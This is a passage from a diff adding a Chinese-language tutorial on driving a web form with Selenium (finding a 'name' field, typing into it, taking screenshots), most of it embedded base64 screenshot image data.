AAAAAA8I0AAAAAAAeECABgAAAADAAwI0AAAAAAAeEKABAAAAAPCAAA0AAAAAgAcEaAAAAAAAPCBAAwAAAADgAQEaAAAAAAAPCNAAAAAAAHhAgAYAAAAAwAMCNAAAAAAAHhCgAQAAAADwgAANAAAAAIAHBGgAAAAAADwgQAMAAAAA4AEBGgAAAAAADwjQAAAAAAB4QIAGAAAAAMADAjQAAAAAAB4QoAEAAAAA8IAADQAAAACABwRoAAAAAAA8IEADAAAAAOABARoAAAAAAA8I0AAAAAAAeECABgAAAADAAwI0AAAAAAAeEKABAAAAAPBgRgI0hUKhUCgUCoVCoVAoz3shQFMoFAqFQqFQKBQKheKhEKApFAqFQqFQKBQKhULxUAjQFAqFQqFQKBQKhUKheCjTEqABAAAAAJijCNAAAAAAAHhAgAYAAAAAwAMCNAAAAAAAHhCgAQAAAADwgAANAAAAAIAHBGgAAAAAADwgQAMAAAAA4AEBGgAAAAAADwjQAAAAAAB4QIAGAAAAAMADAjQAAAAAAB4QoAEAAAAA8IAADQAAAACABwRoAAAAAAA8IEADAAAAAOABARoAAAAAAA8I0AAAAAAAeECABgAAAADAAwI0AAAAAAAeEKABAAAAAPCAAA0AAAAAgAcEaAAAAAAAPCBAAwAAAADgAQEaAAAAAAAPCNAAAAAAAHhAgAYAAAAAwAMCNAAAAAAAHhCgAQAAAADw4P8A9WU/3hbid9QAAAAASUVORK5CYII=
+)
+
+### 填写表格
+
+要通过Selenium和浏览器与网页交互，我们可以*查询* Selenium中的各个元素。 例如，我们可以访问其`name`属性（如HTML中定义）为`"name"`的UI元素。
+
+```py
+name = gui_driver.find_element_by_name("name")
+
+```
+
+一旦有了元素，就可以与它进行交互。 由于`name`是一个文本字段，因此我们可以使用`send_keys()`方法向它发送一个字符串； 该字符串将被转换为适当的击键。
+
+```py
+name.send_keys("Jane Doe")
+
+```
+
+在屏幕截图中，我们可以看到`name`字段已填充：
+
+```py
+Image(gui_driver.get_screenshot_as_png())
+
+```
+
+![](data:image/png;base64,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